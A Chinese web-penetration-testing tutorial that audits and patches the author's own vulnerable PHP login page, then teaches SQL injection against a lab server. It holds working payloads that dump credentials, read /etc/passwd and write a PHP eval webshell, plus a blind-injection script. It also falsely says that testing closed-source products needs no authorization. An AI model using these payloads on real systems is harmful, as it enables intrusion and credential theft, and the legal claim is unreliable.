⚠️ 本文仅用于学习与研究目的,切勿用于非法用途,违者后果自负。
本文建议搭配下述文章一起学习:
系列一:HTML、CSS、PHP编程与系统开发(网安人专属)-CSDN博客
系列二-Python安全开发基础(网安人专属)_blog.scdn.neg-CSDN博客
系列三-Python攻击脚本开发(网安人专属)-CSDN博客
Web渗透
一、有关授权
渗透测试需要授权的场景:
(1)帮助客户提供渗透测试服务
(2)针对非客户的自有系统(自有系统就是仅别人自己使用的系统,比如京东网站)
保留任何可以作为已授权的证据,如聊天记录、邮件、留言、录音等
渗透测试不需要授权的场景:
(1)针对开源的产品级系统,如Linux、Apache、Tomcat等
(2)针对闭源的产品系统(每个人都可以用的,就是产品级系统,比如:QQ、微信)
(3)针对自己的公司
(4)众测:厂商委托安全平台(补天、漏洞盒子等)给授权的白帽子发布渗透测试任务
二、漏洞库
CVE
CWE
OWASP
CNVD
CNNVD
漏洞盒子
补天
三、专业术语
WebShell:基于Web开发语言(PHP、C#、JavaScript、Java、Go、Python等)制作的木马程序
Payload:攻击载荷,具备攻击特征的数据
肉鸡
POC(Proof of Concept):概念验证,用于在发现漏洞之后,编写程序或者Payload进行验证,确认漏洞的存在
EXP(Exploit):漏洞利用,用于在发现漏洞之后,编写程序或者Payload来利用漏洞
CC(Challenge Collapsar):挑战黑洞,攻击者通过代理服务器或者肉鸡向受害者主机不断发送大量数据包,造成对方资源耗尽,一直到宕机崩溃
C2(Command & Control):主要是指攻击者通过恶意软件的交互,对被害者进行控制,从而实施恶意活动
FUZZ:模糊测试,一般是在漏洞不明确或者想要找找哪里有漏洞的场景,利用规则或者字典等进行快速的不精准的测试,进而发现可能存在漏洞的地方
DOS/DDOS
横向移动:类似于内网渗透,获取到某一台主机权限后,继续在局域网漫游、扫描,进而实现对其他主机的入侵
社工(社会工程学):就是骗
社工库:通过一些正规或者非正规渠道获取到的各类数据,比如:身份信息、家庭信息、教育信息、支付/购买信息、差旅出国等
WAF(Web Application Firewall):Web应用防火墙,进行Web渗透时,需要想办法绕开WAF,还需要想免杀木马的设计等
IDS(Intrusion Detection System):入侵检测系统,用于检测攻击威胁并进行预警
IPS(Intrusion Prevention System): 入侵防御系统,在检测的基础上,增加了主动防御的功能
脆弱项(weakness):可能存在一些安全风险
威胁(threat):明确存在安全威胁
攻击(attack):直接利用了安全漏洞,形成了攻击,甚至获取了权限
漏洞(vulnerability)
APT(Advanced Persistent Threat):高级可持续威胁
提权:将普通权限提升为高级权限
越权:张三拥有了李四的权限
黑盒测试
白盒测试
压力测试
SIEM(Security Information Event Management):安全信息和事件管理,为来自企业和组织中所有IT资源(包括网络、系统和应用)产生的安全信息(包括日志、告警等)进行统一的实时监控、历史分析,对来自外部的入侵和内部的违规、误操作行为进行监控、审计分析、调查取证、出具各种报表报告,实现IT资源合规性管理的目标,同时提升企业和组织的安全运营、威胁管理和应急响应能力。
安全左移:将安全提前到研发阶段(安全分析、安全设计、安全架构、安全编码、安全测试)
四、SRC
SRC(Security Response Center)安全应急响应中心
随着互联网技术高速发展,黑客也不断对公司的业务进行攻击,面对企业的漏洞风险,包括微软、谷歌、Facebook以及Twitter等企业提出了SRC概念,旨在以漏洞赏金的形式推动全网有坚持漏洞挖精神的“白帽子”为企业提交漏洞,以提高业务的安全防御能力
上面提到的漏洞盒子、补天这两个众测平台,有很多企业的SRC项目,可以去提交漏洞
还有很多企业有着自己的SRC网站:
名称 网址
阿里 https://security.alibaba.com/
腾讯 https://security.tencent.com/
百度 https://bsrc.baidu.com/v2/#/home
美团 https://security.meituan.com/#/home
360 https://security.360.cn/
等等
其他的通过搜索即可找到
五、BurpSuite
1、Proxy模块
未开启拦截
开启拦截
无论是否开启拦截,HTTP history中都会监听到数据包(主要是HTTP和HTTPS协议)
2、Repeater模块
3、Intruder模块
入侵者模块
可以用来爆破数据
将需要爆破的部分用符号包裹
手动添加字典,或者直接导入字典
然后点击“Start Attack”即可
Status code、Length和查看具体的响应都是可以作为判断的依据
还可以在爆破前,设置查找模块(Grep-Extract),用来匹配响应中的内容
4、Target模块
Target模块主要的是查看网站的目录结构,就相当于某个网站的树形结构图一样
可以用来收集目标站点的更多资产,也可以探测一些自动加载的接口、内容等
六、环境准备
1、用kali作为我们的远程服务器
需要开启服务:
service apache2 start
service mysql start
查看服务是否启动:
service apache2 status
重启服务:
service apache2 restart
关闭服务:
service apache2 stop
网站根目录在:/var/www/html
mysql登录方式:
mysql -u root -p root
为了方便操作mysql,可以下载phpmyadmin
在kali上运行
wget https://www.phpmyadmin.net/downloads/phpMyAdmin-latest-all-languages.tar.gz
tar -xzf phpMyAdmin-latest-all-languages.tar.gz
sudo mv phpMyAdmin-*-all-languages /usr/share/phpmyadmin
sudo mkdir /usr/share/phpmyadmin/tmp
sudo chown -R www-data:www-data /usr/share/phpmyadmin
sudo chmod 777 /usr/share/phpmyadmin/tmp
将phpmyadmin部署到apache目录下
sudo ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin
在mysql中设置一个操作数据库的用户:
CREATE USER 'admin'@'localhost' IDENTIFIED BY 'admin';
GRANT ALL PRIVILEGES ON *.* TO 'admin'@'localhost' WITH GRANT OPTION;
FLUSH PRIVILEGES;
EXIT;
'admin'@'localhost' IDENTIFIED BY 'admin'表示用户名是admin,密码是admin
输入:IP地址/phpmyadmin即可访问
2、通过vscode进行远程开发
安装模块remote development
在上方直接输入:用户@IP地址
输入密码后即可连接:
这样我们打开的文件目录就是连接主机的文件目录,这样方便我们操作
如果遇到权限的不足的问题:
在kali上执行
chmod -R 777 /var/www/html
因为我们登录kali用的是普通用户zyf,之前里面的文件都是root创建的,所以可能存在权限问题
七、针对之前写过的登录界面
1、回忆代码
我们之前自己写过一个登录界面:
没见过的可以看一下我主页的系列课程:系列一:HTML、CSS、PHP编程与系统开发(网安人专属)-CSDN博客
login.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>这是一个登陆界面</title>
<style>
div_x{
width: 300px;
height: 400px;
border: solid 1px rgb(204,83,114);
margin: auto;
}
.login{
width: 350px;
height: 50px;
border: solid 0px red;
margin: auto;
text-align: center;
}
.top-100{
margin-top: 100px;
}
.font-30{
font: size 30px;
}
input{
width: 300px;
height: 35px;
text-align: center;
border-radius: 5px;
}
button{
width: 300px;
height: 35px;
background-color: dodgerblue;
color:whitesmoke;
border-radius: 5px;
}
</style>
</head>
<body>
<form action="login.php" method="post"> <!-- 默认是get模式 -->
<div class = "login top-100 font-30">登 陆</div>
<div class = "login">
<input type = "text" name="username"/>
</div>
<div class = "login">
<input type = "password" name = "password"/>
</div>
<div class = "login">
<input type="text" name="vcode"/>
</div>
<div class="login">
<button type="submit">登陆</button>
</div>
</form>
</body>
</html>
login.php
<?php
//接受POST传值
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
//判断验证码是否为0000
if($vcode!="0000"){
die("vcode-error");
}
//连接数据库
$conn = mysqli_connect('127.0.0.1','admin','admin','book') or die("数据库连接出错");
mysqli_query($conn,'set names utf8');
//构造sql语句,并执行
$sql = "select * from user where username = '$username' and password = '$password'";
$result = mysqli_query($conn,$sql);
//根据sql语句的执行结果,进行相应的操作
if(mysqli_num_rows($result) == 1){
echo "login-success".'<br>';
echo "<script>location.href='welcome.php';</script>";
}
else{
echo "login-fall"."<br>";
echo "<script>location.href='login.html';</script>";
}
//关闭数据库连接
mysqli_close($conn); //使用完成后记得关闭数据库
?>
welcome.php
<?php
echo "welcome to system!";
?>
接下来,我们要做的事情就是针对自己的代码,进行渗透测试,根据自己发现的漏洞进行修复
2、分析存在的漏洞
共发现这么几个漏洞(标题命名方式是根据OWASP-TOP10的名字命令的,不知道的可以上网搜)
(1)Injection
存在sql注入漏洞
用户只要通过测试闭合信息(通过python爆破闭合信息),即可得到后台使用的sql语句的闭合信息
//构造sql语句,并执行
$sql = "select * from user where username = '$username' and password = '$password'";
$result = mysqli_query($conn,$sql);
若用户传入的信息含有单引号,sql语句就变成了
select * from user where username = ''' and password = '123';
那么这样的sql语句执行之后就会报错:
这样的话,通过抓包就能捕获到异常信息
500表示服务器端在处理请求的时候发生错误(攻击者很容易知道是自己的闭合信息造成对方执行sql语句的时候发生错误)
那么,如果攻击者还可以爆破出字段名和字段的值,就可以直接构造payload进入登入后的页面
payload:
在post请求正文中:
username=' or userid='1' #&password=1&vcode=0000
原理就是,这样的输入传入到后台,sql语句就变成了:
select * from user where username = '' or userid='1' #' and password = '123';
无论用户名和密码(被注释掉了)是否正确,我们的userid='1'是正确的(通过python代码爆破出来的字段名和字段值),也就是可以搜到一条记录,符合判断,就能登入成功
(2)Identification and Authentication Failures
即身份识别和身份验证错误
共有两处:
第一处:
尝试登录不限制次数,可以进行暴力破解
第二处:
可以直接访问登录后的页面,没有判断用户是否登录过的机制
(3)Cryptographic Failures
即加密失效(以前也叫做敏感信息泄漏,因为敏感信息泄漏的根本原因就是对数据的加密存在缺陷,所以“加密失效”会更贴切)
共有两处:
第一处:
数据库中用户的密码均为明文存储,不安全
第二处:
没有使用安全的通信协议(比如https),导致登录信息明文可见
(4)Insecure Design
即不安全的设计
使用了万能验证码:
//判断验证码是否为0000
if($vcode!="0000"){
die("vcode-error");
}
3、漏洞修复
(1)Injection
漏洞描述:存在sql注入漏洞
解决方案一:
$sql = "select * from user where username = '$username' and password = '$password'";
$result = mysqli_query($conn,$sql) or die('请输入合法数据!');
- 这样构造的sql语句其实有着严重的逻辑问题,用户名和密码的判断不应在同一个sql语句中(防止对方恶意输入注释信息去绕过对密码的判断)
- 应该先通过用户名查询user表,如果确实找到了一条记录,再对密码进行判断
//构造sql语句,并执行
$sql = "select * from user where username = '$username'";
$result = mysqli_query($conn,$sql) or die('请勿输入非法数据');
//根据sql语句的执行结果,进行相应的操作
if(mysqli_num_rows($result) == 1){
//判断密码是否正确
$row = mysqli_fetch_assoc($result);
if($row["password"]==$password){
echo "login-success".'<br>';
$_SESSION['isLogin'] = "true";
$_SESSION['username'] = $username;
echo "<script>location.href='welcome.php';</script>";
}
else{
//建议回显给用户的信息都是比较模糊的,不要具体告诉用户哪里错了(防止爆破过程被简化)
echo "<script>window.alert('login-fail');</script>";
echo "<script>location.href='login.html';</script>";
}
}
else{
echo "<script>window.alert('login-fail');</script>";
echo "<script>location.href='login.html';</script>";
}
这么写的话,即使黑客利用闭合和注释绕过了username的判断,还会面临密码的校对
还可以进一步改进,因为此时对用户的输入还是没有进行防护,用户还是可以输入sql语句中的闭合符、注释符等
我们可以使用addslashes函数(可以将字符串中的单引号、双引号、反斜杠、NULL值自动添加转义符)
//接受POST传值
$username = addslashes($_POST['username']);
写个测试代码,看看效果:
<?php
$result = addslashes("' or userid='1' #");
echo $result;
?>
输出:
\' or userid=\'1\' #
解决方案二:
使用mysqli的预处理功能
在说预处理之前,先补充个知识点:mysqli其实既支持面向过程,也支持面向对象
我们之前使用的都是面向过程的方式(拿common.php举例子),修改代码成面向对象
<?php
session_start();
//面向对象的连接数据库操作
function create_connection(){
$conn = new mysqli('127.0.0.1','admin','admin','book') or die("数据库连接出错");
$conn->set_charset('utf8');
return $conn;
}
//面向对象的方法执行sql语句
function sql_exe($sql){
$conn = create_connection();
$result = $conn->query($sql);
echo $result->num_rows;
}
?>
后续我们都将采用这样的方式
正式来讲利用mysqli的预处理功能去解决sql注入问题
原理:
- 第一步,服务器先接收 SQL语句结构,如:SELECT * FROM users WHERE username = ?,此时?是占位符,不执行查询,只是告诉数据库准备这个语句结构
- 第二步,绑定参数,程序将用户输入绑定到占位符上,如绑定"admin' OR 1=1"到?
- 第三步,安全执行,数据库内部自动处理参数的转义、编码等,确保即便参数中包含注入语句,也不会被当成SQL执行,而只是当作普通数据。
修改代码(login.php):
<?php
//引入session机制和连接mysql的函数
include "common.php";
//接受POST传值
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
//判断验证码是否为0000
if($vcode!="0000"){
die("vcode-error");
}
//连接数据库
$conn = create_connection();
//将需要传入的参数用占位符?替代
$sql = "select * from user where username = ?";
//实例化预处理对象
$stmt = $conn->prepare($sql);
//sql语句中的参数绑定,绑定的目的就是告知sql语句中的?传入的是什么类型的,是什么内容
//s表示字符串,i表示整数,d表示小数,b表示二进制
$stmt->bind_param('s',$username);
//执行sql语句(自动执行提交操作)
$stmt->execute();
//如果查询语句(非更新操作),还需要绑定结果参数
$stmt->bind_result($userid_result,$username_result,$password_result,$role_result);
//取出结果
$stmt->store_result();
if($stmt->num_rows == 1){
//判断密码是否正确
$stmt->fetch();
if($password_result == $password){
echo "login-success".'<br>';
$_SESSION['isLogin'] = "true";
$_SESSION['username'] = $username_result;
echo "<script>location.href='welcome.php';</script>";
}
else{
//建议回显给用户的信息都是比较模糊的,不要具体告诉用户哪里错了(防止爆破过程被简化)
echo "<script>window.alert('login-fail');</script>";
echo "<script>location.href='login.html';</script>";
}
}
else{
echo "<script>window.alert('login-fail');</script>";
echo "<script>location.href='login.html';</script>";
}
//关闭数据库连接
$stmt->close();
$conn->close();
?>
(2)Identification and Authentication Failures
针对第一处进行修复:
漏洞描述:尝试登录不限制次数,可以进行暴力破解
修复方案:设置用户登录次数的限制,用户登录失败次数过多就锁定账户1小时
<?php
//引入session机制和连接mysql的函数
include "common.php";
//接受POST传值
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
//判断验证码
if($vcode!=$_SESSION["vcode"]){
echo "<script>window.alert('vcode-error');</script>";
echo "<script>location.href='login.html';</script>";
}
else{
unset($_SESSION['vcode']);
}
$conn = create_connection();
$sql = "select userid,username,password,role,failcount,TIMESTAMPDIFF(Minute,lasttime,now()) from user where username = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param('s',$username);
$stmt->execute();
$stmt->bind_result($userid_result,$username_result,$password_result,$role_result,$failcount_result,$lasttime_result);
$stmt->store_result();
if($stmt->num_rows == 1){
$stmt->fetch();
//用户如果距离上次错误时间超过1小时,则重制错误次数
if($lasttime_result>60){
$sql = "update user set failcount=0 where userid=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param('s',$userid_result);
$stmt->execute();
}
//若用户登录错误次数大于等于五次,则锁定一小时
if($failcount_result>=5 && $lasttime_result < 60){
die("user is locked, please wait");
}
if($password_result == $password){
if($failcount_result > 0){
$sql = "update user set failcount=0 where userid=?"; //登录成功后重制失败次数
$stmt = $conn->prepare($sql);
$stmt->bind_param('s',$userid_result);
$stmt->execute();
}
echo "login-success".'<br>';
$_SESSION['isLogin'] = "true";
$_SESSION['username'] = $username_result;
echo "<script>location.href='welcome.php';</script>";
}
else{
//登录失败后,需要记录此时的时间
$sql = "update user set failcount=failcount+1,lasttime=now() where userid=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param('s',$userid_result);
$stmt->execute();
echo "<script>window.alert('login-fail');</script>";
echo "<script>location.href='login.html';</script>";
}
}
else{
echo "<script>window.alert('login-fail');</script>";
echo "<script>location.href='login.html';</script>";
}
//关闭数据库连接
$stmt->close();
$conn->close();
?>
针对第二处进行修复:
漏洞描述:可以直接访问登录后的页面,没有判断用户是否登录过的机制
修复方案:启用session机制
因为需要多处引用session,写在一个common.php中方便其他代码调用
<?php
//启用session
session_start();
//连接数据库操作(因为连接数据库也是经常要用的操作,所以封装成函数)
function create_connection(){
$conn = mysqli_connect('127.0.0.1','admin','admin','book') or die("数据库连接出错");
mysqli_query($conn,'set names utf8');
return $conn;
}
?>
修改login.php
if(mysqli_num_rows($result) == 1){
echo "login-success".'<br>';
$_SESSION['isLogin'] = "true"; //如果登录成功,那么将isLogin置为true
$_SESSION['username'] = $username;
echo "<script>location.href='welcome.php';</script>";
}
//引入session机制和连接mysql的函数
include "common.php";
修改welcome.php
<?php
include "common.php";
if($_SESSION['isLogin']!="true"){
echo "<script>window.alert('请先登录!');</script>";
echo "<script>location.href='login.html';</script>";
die();
}
echo "welcome to system!";
?>
(3)Cryptographic Failures
针对第一处进行修复:
漏洞描述:数据库中用户的密码均为明文存储,不安全
修改方案:
- 首先,确保数据库中的password字段的长度可以容纳32位十六进制
- 其实,修改密码的判断逻辑(加密用户传过来的密码数据与数据库中的数据进行对比)
- 最后,新用户注册(插入数据库)需要将密码先进行加密后再存入数据库
针对第二处进行修复:
漏洞描述:没有使用安全的通信协议(比如https),导致登录信息明文可见
(4)Insecure Design
漏洞描述:使用了万能验证码:
解决方法:利用php生成图片二维码
启用php的GD库(可通过phpinfo查询是否开放)
开放方式:
sudo apt update
sudo apt install php-gd
sudo systemctl restart apache2
创建vcode.php用于生成图片验证码:
<?php
session_start();
// 创建画布
$width = 100;
$height = 40;
$image = imagecreate($width, $height); //创建一个100x40的图像,相当于拿了一张画布
//imagecolorallocate函数相当于选择不同颜色的画笔,指定(画布,red,green,blue)
$bgColor = imagecolorallocate($image, 200, 200, 200); //浅灰色
imagefill($image, 0, 0, $bgColor); //设置背景,指定(画布,x,y,画笔),(x,y)用于表示从哪开始填充
// 生成验证码
$code = '';
$chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
//从chars中随机取4个作为验证码
for ($i = 0; $i < 4; $i++) {
$code .= $chars[rand(0, strlen($chars) - 1)];
}
//在session中设置vcode参数,并赋值当前验证码的结果,用于后续服务器判断用户验证码是否输入正确
$_SESSION['vcode'] = $code;
// 添加干扰线
for ($i = 0; $i < 5; $i++) {
$lineColor = imagecolorallocate($image, rand(150,180), rand(150,180), rand(150,180));
//imageline函数用于画直线,指定(画布,x1,y1,x2,y2,画笔),其中xy表示坐标,指定好头和结尾(两点确定一条直线)
imageline($image, rand(0,$width), rand(0,$height), rand(0,$width), rand(0,$height), $lineColor);
}
// 添加干扰字符
for ($i = 0; $i < 15; $i++) {
$noiseColor = imagecolorallocate($image, rand(100,150), rand(100,150), rand(100,150));
$char = $chars[rand(0, strlen($chars) - 1)];
//imagestring用于在画布上写字,指定好(画布,字体大小,x,y,字符,画笔)
imagestring($image, 1, rand(0, $width - 8), rand(0, $height - 10), $char, $noiseColor);
}
// 写入验证码文字
$fontSize = 5;
$x = 10;
$y = ($height - imagefontheight($fontSize)) / 2;
$textColor = imagecolorallocate($image, 0, 0, 0); //黑色
imagestring($image, $fontSize, $x, $y, $code, $textColor);
// 输出图像
header('Content-Type: image/png'); //设置http响应头,告诉浏览器,这是一张图片
imagepng($image); //将$image输出为png格式
imagedestroy($image); //释放图像资源占用的内存
?>
应用到前端页面上(login.html)
<img src="vcode.php"/>
效果(并非开发,只要目的到了即可,至于布局先不管):
查看服务器端session中是否有vcode变量
然后在login2.php中修改验证码的判断即可
//判断验证码
if($vcode!=$_SESSION["vcode"]){
echo "<script>window.alert('vcode-error');</script>";
echo "<script>location.href='login.html';</script>";
}
当然,我们处于测试阶段的时候,还是可以先将万能验证码加上,方便我们的一些操作,只要正式发布的时候删除即可
使用session存储验证码是一种方法,但是一般来说,验证码都得有个有效期,最好的存储验证码的方式就是利用Redis缓存
新问题:
这样的写的验证码,只要页面不刷新,验证码就不会变
那么如果我们使用burp截获本次登录,再使用Intruder模块进行爆破,因为验证码不会变,所以爆破只需要考虑用户名和密码就好了
解决方案:
验证码每使用一次就必须丢弃,不允许给下次使用
//判断验证码
if($vcode!=$_SESSION["vcode"]){
echo "<script>window.alert('vcode-error');</script>";
echo "<script>location.href='login.html';</script>";
}
else{
unset($_SESSION['vcode']); //删除session中的vcode变量
}
验证码正确之后,立刻删除session中的vcode变量,防止多次使用同一个验证码进行爆破登录
额外补充:
要避免使用cookie去存储验证码信息
因为cookie是存储在客户端的浏览器上的
如果服务器端通过cookie中的某值去判断用户输入的验证码,就会出现问题:
用户在发送请求的时候可以去修改/查看自己的请求头中的cookie字段,只要满足自己输入的验证码信息与cookie中对应的信息一致,那么服务器端就认定我们验证码输入正确,所以要避免使用cookie去存储验证码信息
八、SQL注入漏洞
1、基本步骤
在涉及到“传参数给数据库”的部分进行测试
测试内容包括:
- 测试是字符型还是数字型
- 测试闭合信息
- 测试注释信息(-- (--+)、#(%23)、/**/)
- 测试是否存在报错回显
- 测试正确的语句和错误的语句有无差别(显示差别和隐式差别)
若测试后发现,存在sql注入的可能,那么我们可以使用接下来列举的几种方法
2、联合查询
联合查询,顾名思义就是将两个查询语句查询到的结果放到一张表内进行输入,且输出表格的字段名随放前面的那条查询
联合查询的前提是,两个查询语句查询到的内容的字段数一致,否则会报错
比如说:
select * from user where userid=1 union select 1,2,3,4,5,6;
结果:
但是如果列数不一致,就会产生报错
select * from user where userid=1 union select 1,2,3,4,5;
因此,我们要使用联合查询,很重要的一个前提就是知道字段数
(1)字段数的判断
方法一:
我们可以使用手工或者是脚本的方式去测试出字段数
select * from user where userid=1 union select 1,2;
select * from user where userid=1 union select 1,2,3;
select * from user where userid=1 union select 1,2,3,4;
……
方法二:
我们还可以使用order by去测试行数
order by的作用:对指定的字段进行排序,若指定的列序号不存在则报错
select * from user where userid=1 order by 1;
select * from user where userid=1 order by 2;
select * from user where userid=1 order by 3;
……
(2)判断联合查询回显的部分
拿我们之前写的文章系统举例子
我们在点击文章的时候,就会跳转到文章的内容
此时的url为:
http://172.16.50.128/content.php?id=1
我们当时是通过articleid值去查询数据库,找到对应的文章,将headline和content字段回显到页面上
作为黑客我们不知道回显哪几个部分,我们可以先测试一下(假设我们此时已经知道后台查询的字段数):
http://172.16.50.128/content.php?id=1 union select 1,2
回显:
明显1,2会回显
如果只想看我们构造的查询,可以修改前面的查询让前面的查询结果为空
http://172.16.50.128/content.php?id=-1 union select 1,2
(3)使用内置函数
http://172.16.50.128/content.php?id=-1 union select database(),version()
(4)再嵌套查询
http://172.16.50.128/content.php?id=-1 union select database(),(select username from user where userid=1)
注意:查询的结果只能是一行一列,如果有多行会报错
针对多行,可以采取limit函数
limit的用法:
limit 0,1
#表示从第0行开始取,取一行
针对多列,采用concat函数
concat用法:
#可以将多个列合并成一个进行输出
concat(username,password)
#为了区分查出来的部分,可以用特殊符号将他们进行分割
concat(username,'+',password)
#concat_ws()可以设置分隔符(仅需一次)
concat_ws('==',username,password)
还可以直接使用group_concat函数,解决多行多列的问题(concat只能处理单行,group_concat能处理多行)
group_concat的用法:
group_concat(username) from user
#查询出来的多行结果会被放在一行,并用逗号进行分隔
group_concat(username,password) from user
#查询出来的多行多列结果会被放在一行,并用逗号对每行的结果进行分隔
Payload:
http://172.16.50.133/content.php?id=-1 union select 1,(select group_concat(username,'+',password) from user)
结果:
(5)内置数据库
mysql中存在两个内置数据库,分别是:information_schema、mysql
information_schema是MySQL 数据库中内置的一个系统数据库,它的作用主要是存储关于整个MySQL实例当中数据库、数据表、列、索引、约束、存储过程、函数、触发器等各种元数据信息。
获取所有数据库,payload:
http://172.16.50.133/content.php?id=-1 union select 1,(select group_concat(distinct(table_schema) )from information_schema.tables)
其中,distinct的作用是去重
还有一个表也有数据库的信息,还不用去重
payload:
http://172.16.50.133/content.php?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata)
结果:
有了数据库,可以查询数据库中的表
payload:
http://172.16.50.133/content.php?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='book')
输出:
有了表名之后就可以查询字段名了
payload:
http://172.16.50.133/content.php?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='book')
结果:
还有个内置数据库mysql,他是MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等 mysql自己需要使用的控制和管理信息
利用的方法也是一模一样的,这里仅演示一种:
payload:
http://172.16.50.133/content.php?id=-1 union select 1,(select group_concat(user,'+',password) from mysql.user)
效果:
(6)模糊查询
select * from article where content like "%how%";
payload大同小异,不再演示
(7)十六进制
MySQL中的SQL语句可以使用十六进制参数(如 'abc' 可以写为 0x616263)并照常执行,是因为MySQL支持将十六进制字面量自动转换为字符串或数值类型(取决于上下文)
而且mysql自带转换成16进制的语句:
select hex('zyf');
#输出7A7966
应用:
select * from user where username=0x7A7966;
输出:
userid | username | password | role | failcount | lasttime | |
1 | zyf | 123456 | admin | 0 | 2025-04-12 10:35:31 |
这个特性可以用来绕过闭合符号的转义,我们只要在需要输入字符串的地方替换成对应的十六进制即可
但是注意,十六进制字面量只适用于数据值(如字符串或数值),不能用于语法结构(不能用于select、from等语法结构),比如:
SELECT * FROM users; #是合法的
0x53454C454354 * FROM users; #会报错。
(8)文件上传/下载
步骤:
1.读写权限确认
show global variables like '%secure%';
用于查看mysql全局变量的配置
当输入以上命令后,有三种情况:
- secure_file_priv = 空,表示可以任意读写
- secure_file_priv = 某个路径,表示只能在规定的路径下进行读写
- secure_file_priv = NULL,表示不能读写
2.文件上传/下载
#文件下载
load_file('具体文件路径');
#文件上传
'上传的内容' into outfile '具体文件路径';
具体例子:
读取文件
http://172.16.50.133/content.php?id=-1 union select 1,load_file('/etc/passwd');
结果显示:
写入一句话木马
http://172.16.50.133/content.php?id=-1 union select 1,'<?=@eval($_GET["a"]);?>' into outfile '/var/www/html/hack.php';
访问,利用:
3、报错注入
通常用于报错有回显的场景
报错注入的原理:
即使SQL中的某些函数调用导致报错,整个SQL语句在执行前已经解析、编译,部分内容会被执行或尝试执行,导致错误信息中泄露数据。
常用的函数:
updatexml()
……and updatexml(1,concat(0x7e,database(),0x7e),1);
回显:
#1105 - XPATH syntax error: '~book~'
extractvalue()
……and extractvalue(1,concat(0x7e,database(),0x7e));
回显:
#1105 - XPATH syntax error: '~book~'
还有很多类似的,可以上网查找
4、盲注
通常用于没有回显的情况
(1)布尔盲注
顾名思义,利用正确的语句和错误的语句他们的回显不同来判断相关的信息
常用的函数:
length():返回字符串长度
mid(string,start,length):截取字符串
substr(string,start,length):截取字符串,若省略length参数,表示从start开始取到结束
left(string,n):截取字符串
ORD():返回字符的ASCII码
ASCII():返回字符的ASCII码
例子:
针对之前的文章页面,我们知道
http://172.16.50.133/content.php?id=1
会有正确的回显:
那我们可以构造payload:
http://172.16.50.133/content.php?id=1 and length(database())=1
根据逻辑(and)我们知道,在前面查询正确的情况下,若数据库名长度等于1则回显查询内容;若长度不为1,则不回显查询信息。
构造python代码去进行爆破:
import time,requests,threading,queue
session = requests.session()
def database_length(url):
for length in range(0,10):
payload = url
payload = payload + f" and length(database())={length}"
result = session.get(url=payload)
if len(result.text) != 482:
return length
def database_name(length,url):
name = ""
print("正在爆破数据库名称:")
for i in range(0,length+1):
with open("../dict/test.txt", mode="r") as file:
alphabets = file.readlines()
for alphabet in alphabets:
payload = url
payload += f' and substr(database(),{i},1)="{alphabet.strip()}"'
result = session.get(url=payload)
if "how are you" in result.text:
name += alphabet.strip()
print(f"第{i}个字符为{alphabet.strip()}")
break
return name
def related_database(url):
length = database_length(url) #获得数据库的长度
print(f"数据库长度为:{length}")
print("-------------------------------")
d_name = database_name(length,url) #获得数据库名称
print(f'数据库名称为:{d_name}')
print("-------------------------------")
def table_count(url):
for i in range(50):
payload = url + f" and (select count(table_name) from information_schema.tables where table_schema=database())={i}"
result = session.get(url=payload)
if "how are you" in result.text:
return i
def table_name(t_count,url):
name = []
for i in range(t_count):
for j in range(20):
payload = url + f" and length(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),1))={j}"
result = session.get(url=payload)
if "how are you" in result.text:
t_name = ""
for t in range(1,j+1):
with open("../dict/test.txt",mode='r') as file:
alphabets = file.readlines()
for alphabet in alphabets:
payload = url + f" and substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{t},1)='{alphabet.strip()}'"
result = session.get(url=payload)
if "how are you" in result.text:
t_name += alphabet.strip()
name.append(t_name)
return name
def column_count(url,name):
for i in range(20):
payload = url + f" and (select count(column_name) from information_schema.columns where table_name='{name}' and table_schema=database())={i}"
result = session.get(url=payload)
if "how are you" in result.text:
return i
def column_name(count,url,name):
c_name = []
for i in range(0,count):
for j in range(15):
payload = url + f" and length(substr((select column_name from information_schema.columns where table_name='{name}' and table_schema=database() limit {i},1),1))={j}"
result = session.get(url=payload)
if "how are you" in result.text:
n = ''
for t in range(1,j+1):
with open('../dict/test.txt',mode='r') as file:
alphabets = file.readlines()
for alphabet in alphabets:
payload = url + f" and substr((select column_name from information_schema.columns where table_name='{name}' and table_schema=database() limit {i},1),{t},1)='{alphabet.strip()}'"
result = session.get(url=payload)
if "how are you" in result.text:
n += alphabet.strip()
c_name.append(n)
return c_name
def related_table(url):
t_count = table_count(url)
print(f"数据表的个数为{t_count}")
print("-------------------------------")
t_name = table_name(t_count,url)
print(f"表名为:{t_name}")
print("-------------------------------")
column_counts = {}
for name in t_name:
c_count = column_count(url,name)
print(f'{name}中有{c_count}个字段')
c_name = column_name(c_count,url,name)
print(f"分别是:{c_name}")
print("-------------------------------")
if __name__ == '__main__':
url = "http://172.16.50.133/content.php?id=1"
t_01 = threading.Thread(target=related_database,args=(url,))
t_01.start()
t_02 = threading.Thread(target=related_table,args=(url,))
t_02.start()
结果:
数据表的个数为3
-------------------------------
数据库长度为:4
-------------------------------
正在爆破数据库名称:
第1个字符为b
第2个字符为o
第3个字符为o
第4个字符为k
数据库名称为:book
-------------------------------
表名为:['user', 'test_ex', 'article']
-------------------------------
user中有6个字段
分别是:['userid', 'username', 'password', 'role', 'failcount', 'lasttime']
test_ex中有3个字段
分别是:['username', 'password', 'phone']
article中有5个字段
分别是:['articleid', 'headline', 'author', 'viewcount', 'content']
-------------------------------
另起模块去爆破表中具体内容即可,这里不再演示
(2)基于时间的盲注
构造的语句中加上有关时间的函数,根据回显的速度来判断是否正确
常用的函数:
if(condition,true_value,false_value)
#结合sleep()
if(condition,sleep(5),1)
#也可以结合benchmark
benchmark(loop_count,expression) #表示expression需要被执行的次数为loop_count次
例子:
http://172.16.50.133/content.php?id=1 and if(length(database())=4,sleep(5),1)
也就是说,如果长度蒙对了,就会sleep五秒
